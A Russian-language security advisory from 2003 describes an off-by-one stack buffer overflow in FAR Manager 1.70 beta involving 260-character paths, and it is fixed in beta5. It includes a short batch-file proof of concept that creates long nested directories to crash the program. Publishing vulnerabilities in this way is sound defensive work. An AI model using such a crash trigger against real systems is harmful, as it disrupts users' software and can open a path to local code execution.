Security Lab

Переполнение буфера в файловом менеджере FAR

Дата публикации:12.02.2003
Всего просмотров:1497
Опасность:
Низкая
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: FAR Manager 1.70
Описание: FAR – популярный файловый менеджер для Windows систем.

Файловая система NTFS позволяет создавать пути почти неограниченной длины. Но Windows API не позволяет создавать пути длинее 256 байтов. Чтобы обойти это ограничение, можно использовать в пути к файлу префикс ‘\\?\’ . Это документированная особенность Windows API. Путь, длиннее 260 символов, вызовет аварийное завершение работы FAR. Far 1.70beta4 выполняет проверку длины пути и не позволяет использовать пути длиннее 160 символов. Но из-за ошибки в коде, все еще можно эксплуатировать FAR, представляя путь длинной ровно 260 символов (“off-by-one” переполнение указателя стека). Уязвимость может использоваться для выполнения произвольного кода.

Пример (.bat эксплоит, создает каталог с двумя подкаталогами, заход в первую приведет к аварийному завершению работы Far 1.70beta1, а во вторую к краху Far 1.70beta4)

 
@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
обратите внимание: SET A=A..A – одна строка!

Уязвимость обнаружена в FAR 1.70beta1, 1.70beta4 и устранена в 1/70beta5

Ссылки: SECURITY.NNOV: Far buffer overflow